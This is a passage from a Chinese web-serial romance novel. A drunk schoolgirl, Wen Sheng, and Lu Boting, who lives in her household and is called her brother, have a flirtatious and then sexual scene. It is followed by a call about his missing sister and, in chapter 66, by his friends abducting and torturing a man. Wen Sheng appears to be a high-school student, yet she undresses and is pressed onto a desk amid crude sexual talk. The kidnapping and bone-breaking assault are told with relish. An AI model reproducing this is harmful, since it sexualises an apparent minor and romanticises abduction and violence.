“你还记得小时候在这条路上我被大狗追吗?好像是一条罗威纳。”说完觉得有些委屈难过,她伸手搂上他的脖子,又哽声哽气地说,“我差点被它咬了,当时你看都没看我一眼踩着滑板就走了……”
车忽然晃了一下,她听见他轻咳了一声又若无其事地提了速。
很少见地没应她。
温声虽然有些醉意,但意识还算清醒,瞪着面前不说话的人,隔着衣服使劲掐他:“你为什么不理我?”
好像再不说话,下一秒就能和他打起来。
盯着前面的路,路泊汀活动了一下脖子,觉得还是坦白完事,口吻侃趣地回她:“抱歉啊宝宝,那只狗是我专门找来故意吓你的,它不咬人。”转头瞅她,笑的丝毫不见歉意,“以前我挺装的,不愿意承认欺负你就是喜欢你。”
一副只要他够坦诚,一切过错就该自动抵消的无赖样子。
简直无耻。
温声大脑迅速转动:“在我书桌上放蜈蚣和蜘蛛的人也是你?”
他哼笑,还算大方地承认:“应该是吧。”
“半夜我房间里突然投影午夜凶铃的人也是你?”
他又啧了一声,话音还有些回味无穷:“你不觉得凌晨看鬼片才有感觉吗?”
“每天晚上来我房间接班主任的电访……也是骗人的吧?!”
“嗯哼。”他的尾音拖得很长很轻佻,又笑着补了一句,“就为了和你多待会儿。”
回应的是越来越流痞不要脸了。
温声深吸一口气,但隔着头盔,呼吸反而越来越闷,握紧的拳头没忍住还是挥到了他身上,问了最后一个问题:“那……每次我收到的情书都是你先打开的?”
那些情书到她手里已经是拆开的样子,之前她一直没当回事。
提起那堆写的够膈应的垃圾,他这回冷嗤地很直接:“那玩意儿也算情书?不好意思啊宝宝,哥打娘胎里就领先他们十万里了。”
温声不解气地又捶了他一拳:“欺负我很好玩吗?”
路泊汀很矫情地嘶了声,悠悠吹了声口哨后,接着漫不经心地对她说了一句追老婆的至理名言:“一辈子很短啊宝贝儿,不欺负你的话,你又怎么会一直记住我?”
温声鼓起嘴巴无言地瞅他的后脑勺。
好像还挺有道理……
小时候那些事,她确实会记他一辈子。
到家门外时,温声又磨磨蹭蹭地不想下车了,忘了刚才还捶过他一样,取下头盔重新贴上他的背,脸埋的很深,闷声道:“我能不能不进去啊……”
以往都是满心欢喜地回家,很少有哭丧着脸不愿进门的情况,路泊汀瞟了一眼她,停好车后背着她的书包,拦腰抱起她直接进了门。
这回丝毫不在意门口的摄像头。
温声在他怀里挣扎着要下来:“我自己走吧……”
刘嫂刚好下楼,看到他们这个时间回来,而且还是以往没有过的抱持姿势进来时,眼神有些诧然:“我以为你们不回来了,夫人今晚去了老宅……”
想到下午的情况,她还是想和眼前的两个孩子透个醒:“夫人最近情绪都不太对,你们抽时间和她多聊聊,阿声要不要吃夜宵?我现在去准备。”
本来还有些心神不安,听到姚书文不在家,温声不知不觉松了口气,也没再顾及抱不抱的事了,贴着路泊汀的胸口摇了摇头:“不用麻烦啦刘嫂,妈妈那边……等她回来后我们再和她聊。”
路泊汀敛眸没说话,摸了摸她的额头,上楼前和刘嫂吩咐了一句:“给她煮点醒酒驱寒的热汤吧,我过会走。”
直到进了房间,直到被他拖进浴室快速冲了热水澡,直到换了睡衣被他逮在床上吹头发,温声才开始有了醉态醺醺的样子,眯起大眼睛从头到脚扫了一圈他,又没羞没臊地紧盯他的下身,手也跟着不老实地在他身上东摸摸西摸摸,完了还睁着一双茫然醉眼故意问他:“你的腹肌和大腿为什么这么硬啊?”
路泊汀先是冷笑,又不客气地弹开她的手,关了吹风机后试她头发的潮度,表情很淡:“爪子拿开,别乱摸。”
“哼,你的才是爪子!”
话虽然是这么说的,但见他要走,她快速拽住他的胳膊,一边晃一边嘤咛,声音拖得很长很轻:“你能不能不走啊……”说完拉过他的手,下巴垫向他的手背,湿漉漉的大眼睛酒意朦胧地看他,见他没说话,伸舌舔他的指尖,又挑起明眸,小声加了一句,“求你了……”
侧卧的姿势,身前一目了然。
可能是家里温度太高,可能是醉酒的缘故,她的脖子一片粉红,酡红的脸上也漫着几分不自知的俏媚楚楚,昂起小脑袋就那么直勾勾地盯着他。
他当即就有了反应。
但,今晚不是时候。
抽出手扯过被子丢向她头顶,遮得严严实实,路泊汀扶着脖子睨了她一瞬,见她扭起身子乱挣扎,只好弯下腰两手撑在她身体两侧,背伏得很低,隔着被子看她头顶露出的头发,隔了一会才开口,气息有些沉,声音也喑哑低缓:“宝宝你知道的……老公对你没轻没重,你喝醉后我不能动你,不然你明天醒来会哭。”指间缠上她的长发,又轻声哄,“所以别来招我,今晚乖乖睡觉,好不好?”
他说话越温柔,越是耐着性子和她讲道理。
醉酒的她就越想无法无天。
“不好不好,就是不好!我不睡!”
温声闷在被子里,眼睛咕噜咕噜地乱转,一点也没喝醉的样子,胳膊从被子里窜出来揽上他的脖子,又露出脑袋眼巴巴地撒娇:“想要亲亲,想要贴贴,想要你哄我睡觉,更想你抱着我睡觉……”
说着说着就开始撒起了酒疯,一个鲤鱼打挺从床上蹦了起来,凑到他身前,两手用力揪他的头发,又去抓他的脸,嘴里还要一个劲儿的嘟囔:“你的脸好滑,死男人谁让你用我的护肤品了!
路泊汀长身立在床头,眉眼晃着无奈,就看着她在床上胡蹦乱跳,一边懒洋洋地应付点头:“嗯,我是死男人……对对对,宝宝说的都对……”一边还要抬着胳膊护在床沿以防她掉下床。
“玩可以,别摔下去咯。”
温声听到摔这个字眼,傻兮兮一笑,不等他反应,身体陡然一个横向跳起。
她今晚就要摔给他看!
没想到还是在空中被他很快搂住了腰,又稳稳放回了床上。
温声听见他有意无意地叹了声气。
很无奈的样子。
她心里一咯噔。
是生气了吗?
喝醉后的小心脏本来就易碎,鼻子微酸,她红着眼快速爬起来,站在床上冷眼看他,扁着嘴巴骂他:“路泊汀你个混蛋,你竟然叹气,你竟然对我不耐烦?”抹了把还没掉小珍珠的眼睛,继续瞪他,“我不是你的宝宝了吗?你不喜欢我了就早说,我去找那个叫路泊汀2号的男人,他会带我登月球上火星,你算个屁啊!”
说完还是觉得好生气,又给了他肩膀一拳。
用振振有词的语气,说着前言不搭后语的醉话。
属实没逗坏他。<
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p>路泊汀偏额挑起眉,黑眸一瞬不瞬地瞅着她,一副似笑非笑的惯常表情,伸出食指,不太客气地轻轻一戳,她就跌倒在了床上,他轻笑出声,话音却很沉:“听着,叫路泊汀的那混蛋,就算他自己丢了,他也不会丢了你,更不会不爱你。”
“温声可以不相信任何人,除了路泊汀。”
“他是你在这个世界上的影子。”
怎么可能会……不要你?
温声忽然就静了下来,飞快团进被子里在床上滚了一圈,隔着被子悄声说了一句:“我也是你的影子呀。”
声音太小,他只当她在咕咕唧唧。
时间已经是晚上十一点,想到她还有一堆作业没搞,路泊汀懒得搭理小醉鬼,转身走到书桌前拉开她的书包,接着拨了通电话,嘴里讲着那些她很头疼的话,什么数学卷子啦,什么英语练习册啦,什么地理图册本啦等等……
她翻了个白眼果断翻过身。
不想听。
“你们明天要交的作业是什么?”
电话那边的江乐橙头很大,今晚数学作业也太难写了,手里一边写写算算,还要留出神回他,也不管他是不是路草了,语气不自觉地暴躁起来:“就下午新发的那些数学卷子,大题必须写完,英语爱写不写,语文随意,地理不交,其他都靠自觉。”
一听这话就知道平时是个混子。
路泊汀揉了揉额头,不声不响瞅了一眼还在床上咿咿呀呀乱叫的小人。
啧,都是一路人。
挂了电话翻出她书包里的卷子,摆在桌上开始给她收拾烂摊子。
今晚喝的酒有点多,温声有些难受地在床上一直滚来滚去,浑身这会又燥又软,眼睛眨巴眨巴地盯着天花板上的蓝色星星,手指不知不觉就解开了睡衣的拉链。
瞟了一眼背对她低头在写东西的人,飞快移开视线,隔了一会儿,手指又不动声色地继续下滑。
路泊汀每写完一道题,都会在草稿纸写下详细答题步骤,还在书里划出了相应的知识点,想到她找不到位置的笨样,摇摇头继续叹气,又很贴心地标了书页。
还剩最后一张卷子时,有丝丝甜香忽然飘到眼前。
接着,余光一暗。
没抬头,他低眼还在不紧不慢地算着题,只不过哼笑出声,眉梢挑起作警告:“把衣服穿上。”
温声抿起唇没吭声,一双浅瞳在醉酒后愈发莹莹明亮,像浸湿的玻璃球,看向他时,澄澈溶溶。
站了几秒钟后……
这人没搭理自己。
朝他翻了个白眼,她又蹭前一步,也不说话,就是要让发尾处精油的甜糯气味扑向他——
快看看我呀!
然而……
他只是鼻翼微动,低着头依旧没看她。
好像当她不存在一样。
她都这么主动了……
脱光光站在他旁边的羞臊一股脑冲上头皮,脸颊和耳根红了个透,温声嗑紧唇,忍住马上要掉的眼泪,举起手狠狠指向他,声音也带着酸心的哽腔:“这是最后一次!你以后别想让我主动!”说完还气急败坏地伸腿踢他,“烂人!从我房间滚出去!我再理你我就不叫温声!!”
刚说完,眼泪就吧嗒吧嗒滚了下来。
站在他面前还不到一分钟。
唉。
路泊汀唇角笑意越发明显,转着笔的长指慢慢停了下来,扫开面前的一堆作业,长臂一勾,她被带入了他怀里。
“别碰我!”她在他膝盖上挪来挪去的。
目光移开,他用指腹轻轻给她擦眼泪,但她始终垂着头,眼泪止不住地一直往外冒。
逗不了一点。
路泊汀皱起鼻子叹笑,晃着头找她的眼睛,她在他看过来时,立马偏过头。
就是躲着不看他。
“躲什么呢宝宝,老公只是想说……”
他垂眼又漫不经心地笑了笑,下巴抵向她的发顶,低声接着说:“明天你可能会迟到。”
65. 突变
被他曲起两条腿转了方向跨坐在身上,皮肤蹭着他的针织衫,有点戳心的痒,光溜细背仰向身后的桌沿,温声眨着还有些红的眼睛,想要拢紧腿,被他很轻但颇有力度的手背抻开。
“别躲。”
路泊汀抬膝垫高她,柔调台灯下,挑俏的墨色眼眸漾开层层水光,很静地看她,目光下只有她,翘起的唇角笑涡隐现,磁声舒缓,带着入夜的低沉,说——
宝宝今晚喝醉后好乖好可爱啊是他cute angel、说她的每次主动他都开心炸,会记住很久很久,说很想变成温声的挂件,她走哪儿,路泊汀就跟哪儿,要跟着她一辈子,还说他最近幸福的没边儿,因为每天都能见到她还能亲到她……
他每说一句,她的脸就红一分,头也埋的更深。
他总夸她,毫不吝啬的,哪怕她已经习惯了,却还是有点受不住他的过分直白。
细腻的背光下,酡颜娇俏,很漂亮。
路泊汀要笑不笑的,两条长腿故意晃了晃,坐在身上的小人也跟着摇了摇,有点坐不稳地急忙抓住他的胳膊,躲着眼依旧不看他,小声道:“你别晃嘛……”
越看越可爱。
是自己,唯一的宝宝。
他又亲了亲她的脸颊,勾着她的一缕头发嗅了下,有点像冰沙里浸底的佛手柑渗出的汁,凉意滤过一层涩,轻淡的甜,不够浓烈也不是热性的调。
气味却是在慢慢回浮,氤氲不断。
眉梢微挑,细细闻了闻余香,像是泡在古旧皿中经年存放的水线,留香可以很久。
记忆也能保留很久。
温声有意无意地偏了下头,往他这个方向。
知道她竖起耳朵在听,水润的眼睛一眨一眨的,路泊汀舒眉,很给面子地又嗅了嗅,随着腿的晃动,哼笑道:“宝宝好会挑,今晚的气味很适合你,也很适合我。”
那可不嘛!
温声使劲绷着嘴角的笑。
这可是她今晚特意挑的香好吗……
也是她挑了很久、属于他们两人的气味。
凉丝丝的馨香只有他才能闻到。
想到什么,身前的人晃着的动作慢慢停下,片刻,在她耳边一字一句轻声道:“如果气味能穿透时间,那这一刻,你和我,我们,就已经到了永远。”
永远,一个充斥着冗沉又交叉着时空的词语,附着做声带过的轻,却常常承载凝重的期求。
想和她的永远,今晚却能像这散不尽的香,如此简单,如此具象化。
又如此轻而易举。
“谢谢宝宝……”
他补了一句,声音不像刚才的漫不经心。
好好的,干嘛突然谢她啊……
温声抬眼看他,黑黑亮亮的眸子拢着一层朦胧的细碎雾气,不由愣怔。
他的性子其实很怪,从小到大,时而调皮稚气,散漫又磊落,乍眼看去,明艳如火。时而冷倨桀骜,姿态漠然,话里话外,凉薄又恣意,像久久化不开的冰。
但她见过,嘴角一直挂着嘲诮笑意的少年,也会因为自己没救活一只流浪狗,蒙着被子湿了一整晚眼。
也见过,眉眼总是漾出清冷傲气的少年,因为协助缉警追毒贩被恶意刺了一刀,但事后瞒着他们,每周都去偷偷看望坐牢毒贩的奶奶。
只因那是一位年岁已高又没人照看的老阿嬷,而这一照顾就是整整两年,直到老阿嬷前年因病去世。
更见过……
唇畔生花、倔强不羁的少年,因为她,单单因为自己喜欢的姑娘,坐在楼顶,独自伤神,敏感又脆弱。
就是这样一个性格充满变数的少年,却身姿永远耸拔,背脊永远挺直,有一颗向来海涵澄澈的心,底色从来是,明净豁亮。
他因冰火相融生出的温度,变得真实完整。
而这份完整,不过有一个温声。
一个愿意走近,又恰好,能看清他的人。
“也谢谢你噢。”
温声弯弯唇,不似刚才的发火别扭,糯糯的小白齿露出,小手摆了摆迪士尼公主的手势,又去摸他的头发,蓬茸松软,还想摸他的脸时,秀气的眉毛忽然拧到一起:“诶?你有没有听见外面有什么声音?”
“咚咚咚”
话音刚落,门被敲响,是刘嫂:“阿声开门,我给你煮了乌鸡汤,趁热喝完明早又要下雪了,这两天得注意保暖别感冒了……”
门外的刘嫂还在零碎吩咐,温声一个机灵,没来得及多想,伸手去扒路泊汀的衣服,想从下面钻进去,很急但只能瓮声瓮气地喊他:“快!快救救救救我呀!”
她没穿衣服!
她在自己的房间没穿衣服!!
她在自己的房间还当着他的面没穿衣服!!!
路泊汀阖了眸,转为以往不讲理的笑谑,没事儿人似的闲闲吹了声口哨,很不客气地拍掉她的手:“叫声老公再说。”
光着的脚丫用力踩他的棉拖,她狠声却只能小小音量道:“老公公!”
“呵。”他被逗笑,放松的姿态靠向椅背,手腕搭在她的腰侧,又环住她的腰线,向下突然回落,膝盖同时轻轻一顶。
某种意味暗示十足。
温声向上直窜,呀了声,颤着声骂他,小脑袋瓜摇的呼呼的:“不不不不行!当着她的面不行不行,我做不出来。”
他挑起眼梢明知故问:“做不出来什么?”
她皱着鼻子含含糊糊:“就是…就是不行!”
“宝宝不想要我吗,不想让我舒服吗,难道不想看,你是怎么任意摆布直到全部占有我吗?”
三连问,温柔又缠绵,她险些被绕进去。
“你……求你别说了……”温声捂住耳朵,垂着头,脸颊红红的,眼睛眨呀眨的。
“OK。”
门外刘嫂还在絮叨——
“小路走没走呀,没听见他的声音,今天看到他好像又瘦了些,这孩子这段时间是不是没好好吃饭,哎哟这么大的个子不好好吃饭怎么能行,阿声呐,明早我煮点补食,你记得给哥哥带过去啊……”
路泊汀坐直,抱着她靠回座椅,又在桌前很无聊地转了一圈,修长手指逗猫似的摸着她的下巴。
表情看上去还挺正常,是闭嘴的模样。
温声轻轻呼气,放下捂耳的手,刚要应刘嫂,下一秒,耳边忽然又跳进他的烂话,笑声也很烂:“可老公很想被你r啊,r到爆。这个词儿够礼貌么?”
看她一副吓得要死还要一个劲儿躲他怀里的纠结样。
爽死啊。
门里门外,靡秽盖过蔼声。
温声奔溃,闷着声儿啊啊啊大叫,捶了他胸口一拳,接着急忙捂住耳朵,只是担心漏掉刘嫂的吩咐,又不想听他不要脸的痞话,捂着耳朵的手只能时松时紧。
转而,他说的那些流氓话,一字不落地,全进了她的耳朵。
心跳声也跟着不听话地乱蹦起来。
砰-砰-砰
耳边一空,路泊汀拉下她的一只手,凑近,盯着她乱瞟的眼睛,俊脸微哂,嗓音清晰撩人得很:“宝宝今晚搞我好不好……”嘬了记她红红又软溜的耳尖,“Please——”
尾音拖长,带着小狗摇尾巴的祈求。
温声懵着眼,想让他正常点,下一瞬,就见他交臂脱了身上的衣服,快速铺到桌上,再次搂上她的腰,圈紧抱起,又推倒。
“哐”
动作强势粗暴。
简直就是野狗!疯狗!
眨眼间,她被他压上书桌,背蹭着他的衣服,窸窣的麻,有种静电的痒和热。
两人的眼神像流动的水波,潆潆洄洄,空气静而弱。
“你……”
温声移开视线。
你别看我……
路泊汀拢起她的细颈,拉近,低额与仰面,近的不能再近的距离,却将亲未亲,他能看清她脸上纤毫的小绒毛,皮肤莹白透润,在暖光下,有种婴儿不落浮尘的绵腻。
但她的眼睛习惯性躲开他,躲开任何人,明艳的琉璃那层玉面一样细润的荧光,总是被她暗自掐灭。
他不允许。
“宝宝的眼睛很亮很漂亮,是我见过最特别的眼睛,以后多看看我,好不好?”
他笑,胸腔震颤发出质感沙沙的声音,混着热息,似暖房中无声缓荡的钟摆,无形中抚平了她心里突起的局促。
她有轻微的对视和余光恐惧症,很小就有,大致是在福利院那几年有点自卑,总是被同龄的小孩语言霸凌——
温声你身上怎么总是臭臭的?
因为冬天她的手总是得冻疮,没人管她,长时间的发脓溃烂,身上自然会被那股异味冲满。
温声你的眼睛怎么是绿色的,你好怪哦,好怕你咬人!
她生来就是浅瞳,没爹没妈没身份的孩子,眼睛却独独被大家记住,可悲又万幸。
温声你离我们远点走!
温声你去睡大床的最靠墙,转过身睡,别看我们听见没?
眼睛好看有什么用,没人愿意和她玩。
所以,她习惯了低眼说话。
只是这么多年过去了,症状已经很轻很轻了,姚书文和路康没发现,身边的朋友没发现,唯独,他看了个透。
温声故意睁大眼睛,贴着他的睫毛眨巴:“这下可以了吧可以了……唔……”
路泊汀忽然就,压了下去。
唇瓣重重落下贴实,咬着她的软唇吮而啮动,她的气息和嘴唇都在发颤,但还是睁着眼望他,那层生起的水光涟涟溶溶。
温声微张着唇喘气,眼睫细颤,不知道说什么,两只手只能无措地抱紧他。
屋外的刘嫂见没人应声,自顾的嘀咕声渐渐落入楼梯口:“小丫头这是睡着了吗?那明早起来再喝吧。”
虽然隔音很好,可温声还是紧张地咬紧唇,仰起的娇俏小脸憋得通红。
桌上的手机嗡嗡震动了两下,空气中的旖旎暧昧也忽而淡去。
两人同时抬眼,视线一撞,还是温声红着脸先拍开他的手,又去看他的手机,还没看清就被他勾了过去,接着眼前一晃,身上就披上了他搭在椅背的外套。
扫过还在震动的屏幕,路泊汀笑意不变地朝她眨眨眼:“等我。”
温声鼓起脸使劲翻白眼,渐渐,嘴角无意识抿起。
谁会在凌晨打来电话……
隔了她一段距离,路泊汀倚到窗前点了通话,院里泳池的粼粼水光透过玻璃映到他脸上,一双干净的眉眼倏然淡了下来,轻轻一阖,敛下所有情绪。
“泊汀,你身旁现在没什么人吧?”姚洲远语气有些急,细听还有几分沉重。
路泊汀没动,低声应:“您说吧。”
电话那边猝然一顿,只两三秒,他的呼吸就沉了下来,喉咙跟着发紧:“我在听,您直说。”
姚洲远深深吸气:“我刚收到旧金山警方传来的近期失踪人员名单,有一批学生在不久前的升学旅行中失踪了,其中三个女生最后途径地是巴斯托边界的沙漠,过去半个月其他人都陆续找到了,唯独她们还下落不明……”
他鼻息很重,紧接着吐了声粗气:“你妹妹黎雨就在其中。”
望着他缓缓站直的身影,依旧颀长挺拔,但莫名有一瞬的空寂,像被潦疾秋雨打散的槁木,盛气尽褪。
抓紧他的外套,温声不由坐了起来。
路泊汀侧身避开窗户里她的视线,好像没听懂,轻声重复:“下落不明……什么意思?”
“我和她养父取得了联系,女儿失踪后他就一直在重症病房,目前他的情况很不乐观,今天这通电话,我是想让你做好准备……黎雨曾为课题研究和其她女同学做过不止一次暗访调查,警方初步判定,她们的失踪和之前暗访加州的几起性侵案件有关…所以被谋杀的可能极大……”
“不过现在有专门的部门已经介入来调查这个案子了,如果真的是有计划的绑架……基本找不到。”
窗外冷风呼过,水面微漾,他的神情一下很空,下意识脱口:“确定是她吗,美国这么大同名同姓的人应该很多,除了旧金山,其他地方——”
姚洲远沉声打断:“泊汀,我找了私家侦探才找到她的,情况根本就不是王亚光提的那样,王建安在那场蓄意火灾中成了重度烧伤的半残疾,你妹妹也近乎失聪,八年前他们逃到旧金山就一直漂无定所,她甚至还在码头做了很长一段时间的童工,如果不是被好心的华人住家收留,我都不敢想这些年他们父女两是怎么撑过来的……”
“你还不知道吧,你妹妹是个很优秀很厉害的小姑娘,因为成绩很好还跳了两级……”
不知道是不是没休息好,温声见他忽然用机身抵着眼窝,又顺着眼角用力划了出去,低下的头,有种失怔的迟钝,手背突起的指骨嶙嶙发白,好一阵,悬在半空的手机才又贴回耳边。
却没再说话。
低颈曲背,是极度沉默的姿势。
温声心口猛地一跳,说不出的慌,想要起身过去,他偏了下头,动作一顿,她又悄然收回已
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经踩到地上的脚。
“今年还拿到藤校全奖录取的名额,我特意看了她之前获加州地区总统奖的视频,和你妈妈长的很像……”
见他一言不发,姚洲远开口的话也艰涩无力起来,两人之间的气息隔着话筒压抑又窒息,好像紧绷的电线稍加声音的触动,下一秒就能断掉。
“泊汀,这件事先不要和任何人提,黎雨是你妹妹的事更不要和你妈妈说,我下午飞旧金山,一切后续等我主动联系你,只要还没有结果我就不会放弃找她。记住,一定不能让你妈妈知道!”
姚洲远虽然长居海外,但和姐姐一家的关系很亲近,尤其对两个侄孩他更是爱如己出,前不久侄子找到他说了整件事,他作为长辈理应要和姚书文谈一下的,但这孩子从小到大就没求过他什么忙,这样低声求情,还是唯一一次。
明明是意气的大男孩模样,却以一种近乎脆弱苍白的身姿站在他面前,思来想去他只好应了下来,他能猜到和阿声应该有关系,只是当下最重要的事是先找到另一个侄女,这也是他的责任。
但人算不如天算,他刚有的线索还没什么眉目就断了。
他现在只觉得庆幸……
幸亏还没有告诉姐姐。
路泊汀突然抬起头,发红的眼睛像拂晓卷起的夜雾,哑声开口道:“我明天赶来,我去找她,她是我妹,我要自己去找。”
姚洲远忙不赞成:“听话啊孩子,你就等我消息,免得被你妈发现——”
“我必须去!我一定要找到她,不管…不管最后结果是什么,我都要去,我没有其他选择,我没有任何选择了。”他的目光冷到极致,恍惚间,眼泪却顺着眼角往下淌,咬紧牙又说,“只等不做,我他妈算什么哥哥?”
知道拗不过他,姚洲远只好答应:“那我来安排,今明两天我会很忙,你24号再过来,你妈妈那边我去和她谈,舅舅只问你一句,这事……和阿声有关系吗?”
墙上的身影像青松一样伟岸耸立,知道她在看,也知道电话那头的姚洲远在听,窗外浮着马上又落雪的濛濛雾气,他的声音淡至无味,却在湿仄的夜空破开一道清晰又深刻的曙光之口。
“没有,她只是她。”
滴滴——
桌上的闹钟乍然响起零点报时。
温声急忙扭身去按,头顶一暗,路泊汀已经走了过来,大手揉乱她的一头长发,轻声问:“宝宝今晚能自己睡吗?”
都什么时候了,她的睡觉不重要啊……
强忍住胸口泛起的涩,温声低头错开他还红着的眼睛,颊边掀起吟吟笑意:“我明天早上有五节课,前两节课还是最伤神费脑的数学课,中间的大课间最多只能睡二十分钟,哦对了,明天下午又有随堂考,橙子说我最近不仅数学进步了,其他科目也很不错,明天晚上……”
轻轻地,她被搂进了怀里,路泊汀抵着她的发顶,圈紧她的腰又往身前带了带,四周出奇的安静,有一瞬间,时间仿佛停了下来,唯独,他们贴近的心跳和呼吸在清晰颤动,没有任何规律可言,肌肤紧紧相触恨不得糅进彼此。
慢慢垂下眼,温声又弯唇故作俏皮地说完:“所以我这么忙,你是不是该走啦。”
不问他谁打来的电话,不问他发生了什么事,什么都没问,却像以往的每一次,轻易就推开了他心里那扇紧闭的门,下巴不由拱了拱她的发顶,凑近她耳边:“宝宝对不起,先让我抱会儿……”收紧手臂,小声叫她,“宝宝……我爱你宝宝…宝宝……”
耳边是他越来越低的喃声,嗓音疲沓,又沉又哑,像脆弱的点点雨斑,用力在她心上砸出无数个深坑。
温声咬紧唇,犹豫了片刻,还是没问出口。
你什么时候离开呢?
明天几点的飞机呢?
我可以……
我可以去送你吗?
“宝宝…你能说一句爱我吗?”
温声微微蹙起眉,不怪她敏感,只是忽然有种奇怪的错觉,像即将收尾的悲剧电影,像恰巧回望的偏偏转身,像奔踏追赶却错过的列车。
结局总是离圆满差一点点。
压下心底陡然升起的慌乱,温声抓过他的一只手,小手与大手相对,掌心慢慢贴平,轻轻开口:“你知道吗,我真正有了家的实感,不是在福利院被告知找到了家人,不是被李叔领回家见到妈妈的那一刻,而是第一次见到你的时候,明明你对我爱搭不理,明明你比陌生人还抵触我……可我还是觉得这个世界终于有了一扇只为我而开的门,里面轻风细雨天晴日暖,而你是那个开门的人。”
她抿起嘴角调笑了声:“好奇怪,明明爸妈才是当时最爱我的人。”
任由她牵着手,路泊汀只是直直凝向她,目光悄然沉寂,眼底隐隐泛着潮。
“在爱里你是打头阵的先锋,我是连善后都不愿做的胆小鬼,或许我对爱的理解还不够深,出口的话也不及心里的一半,但现在……”
温声仰头望着他,溢出细碎水光的浅眸灵动十足,“从我认了自己心意的那一刻,我就已经把命运的牵引绳放进了你手里,我会永远追随你,和你一起冲锋陷阵。”
和他十指交叉,紧紧相扣,她抓住了悲剧结尾前的霎那间,力挽狂澜般地扭转了本该不圆满的结局。
“还要我怎么说……我爱你呢?”
*……*
路泊汀下楼时,客厅地毯上趴着一只白色活体生物,圆滚滚的肚皮朝上,耷下的粉嫩耳朵听见他的动静只是微微耸动,然后懒洋洋地翻了个身。
继续睡。
他挑起眉走过去,棉拖不客气地蹭它的耳朵:“你又是哪只?”
它狗狗祟祟地睁开圆溜眼睛,不想搭理他,还想翻身时,被他的一条腿挡了住。
稀疏的小狗牙朝他龇了龇:“汪!”
娇里娇气的。
路泊汀蹲下身弹它的耳朵,手感很肉,没忍住又上手捏了把,眯眼笑:“你叫什么?”
它甩了甩大耳朵,没甩开他的手,只好用小爪子蹬他,再次哇哇叫:“汪汪!”
“行吧,爹爹给你起名字,就叫耳朵好了。”盯着它咧开的小狗嘴,他伸出两指轻轻一捏,它就闭了嘴,又弹向它的软绵耳朵,哼笑出声,“和你妈一个样。”
抱起它走到厨房,刘嫂的每日记事本就挂在门上,翻到新一页草草写下一句话,他又用笔盖来回撸怀里的小家伙身上的毛,低头对上它雾蒙蒙的眼睛,浅声问:“要一直对她好知道吗?”
耳朵嘴巴一张一张的:“汪!”
66. 设伏
郗山百棠公馆
“…唔…唔唔!你们是谁……”
庵加河靠着酒柜轻晃酒杯,瞅了眼角落,回头问:“给他喝点水?”
嘭嘭嘭——
鼓棒砸向军鼓接连发出轰隆震响,架子鼓的电音声骤然飙高。
很不耐的回应。
他了然地耸耸肩,走过去,蹲下:“还记得我们么?”
温志强这会被堵着嘴,脸红脖子粗地靠在墙角,喘着粗气口齿不清道:“不…不记得了……”
这是一间由地下厂房整改的车库,室内还做了混音改造,隔音效果很顶,落地窗前,何让生飞快叩击着鼓棒,脚下高频踩着底鼓,听到他的话,扯唇嗤笑,抬手——
梆!
又一记粗暴震声。
冲击感十足的鼓鸣加上室内环绕的金属重低音,温志强被震得头皮发麻,年纪大了眼前也一阵昏眩,咬紧牙保持清醒去看那个坐在架子鼓前的人。
鼓点迭送递进,伴着激劲的鼓奏,他敲击的动作越来越快,嚣张、亢奋,又近乎狂野,黑色背心下露出的大片纹身在光影里有股子骇然邪气,随着身体的晃动,如暗夜里婆娑招摆的鬼影。
诡异得很。
冷不丁对上他斜睨过来的视线,温志强浑身一抖,这不是踩他脸的那个小畜生?
硬着声还想说话,就见他像看垃圾一样,眼梢嘲弄似得慢慢挑起,神情懒懒又倨傲到不行,温志强只能艰声咽口水,嘴边的话硬是拐了个弯:“记记…记得…有点印象……”
庵加河瞟过他不老实的眼神,一把扯下他嘴边的胶带,丢开后拍了拍手继续问:“知道今天为什么来这儿么?”
脸上像被硬扯下一块肉,温志强疼的脸直抽,贴紧墙心下不安地打量周围,是个小型车库,跑车街车齐刷刷摆置了几排,房屋靠近顶棚的支架还吊着一辆改装公路车,全黑的封闭轮就悬在他头顶,离他不到两米。
然而他还没怎么看清,那个轮子就猝然转了起来,飞快旋动的喈喈声,像下一秒就能砸到他脸上。
温志强急忙往墙边又靠了靠,快速摇头:“不不不…不……我真不知道…”
晚上要去值夜班刚从出租屋出来,什么人影都没看到,就被人从身后一个顶捶砸晕了过去,刚出狱没多久,他都不知道怎么就惹上这种二世祖了,尤其那个坐着的,上次就被他莫名打了一顿,看上去披了一张中看的人皮,但骨子里就是条毒蛇,还是最阴狠的那种。
周围噪声忽然一空,何让生顺手拔了电线,摸出棒棒糖叼在唇间,又轻飘飘扫过他,起身,笑意不明地走过来。
走着走着还笑出了声,笑声还蛮阳光大男孩的。
但温志强愣是不敢喘声气。
这是个什么都能做得出的畜生。
俊拔身影从头顶罩住他,温志强被迫仰起头,嚅动嘴唇还想说点什么时,脚腕处突地一阵剧痛袭来。
“啊——!”
何让生像是忽然被他绊住,故作不满的啧了声,踩住他的脚腕向下蹍着压着,都没怎么出力,就听到他和猪叫声没什么两样的嚎叫,属实有点倒胃口,微微蹙眉,一脸被吵到的厌烦样:“你要不先跟老子的耳朵道个歉?”
一旁的庵加河哂然一笑,知道他要开始逗狗了,起身让道:“我去给路子打电话。”朝温志强挑眉示意,笑意加深,“想喝水随时说啊老叔。”
脚腕被硬生生踩到地上,火辣辣的疼。
温志强的那条腿直抖搐,想抽抽不回,脸都白了,声音又惊又慌:“你们抓我来这里到底要做什么…我没惹你吧小孩?叔如果哪些事做得不对你直说啊,但是咱们……别做这绑架人的事啊,这是犯法的!”
就差给他磕头了。
但四下倏尔一静。
小孩。
打小就骑人头上的何让生,还是头回被唤狗似的叫小孩,给他当场一控,眯起细长眼梢饶有兴致地盯过去,发现这b确实挺有意思,咬碎嘴里的糖,摇头不禁哼笑。
只不过一瞬,面色就阴了下来。
温志强惊觉说错话,只是还没来得及改口,就被他又一脚猛踹上膝盖,极为硬撅的军靴鞋底像钢砧一样直直踢下去,力度生猛,皮骨错位的膝盖登时响起骨裂声。
“你丫再叫声儿?”
原本跪坐的人直接被踹翻,脑门蹶到地上发出嘭的一声巨响,温志强疼的一下没缓过劲,他的两只手还被绑着,蜷着身只能扭曲在地上来回打滚,唔声唔气,惨叫连连,冷汗当即就从全身冒了出来,眼前又黑又白不断发晕。
那一脚下去他半个身子都没了知觉,怕他再添一脚,顶紧牙关又立马憋住声。
脸上的横肉一颤一颤的,皱纹混着暗垢和冷汗。
又脏又窝囊。
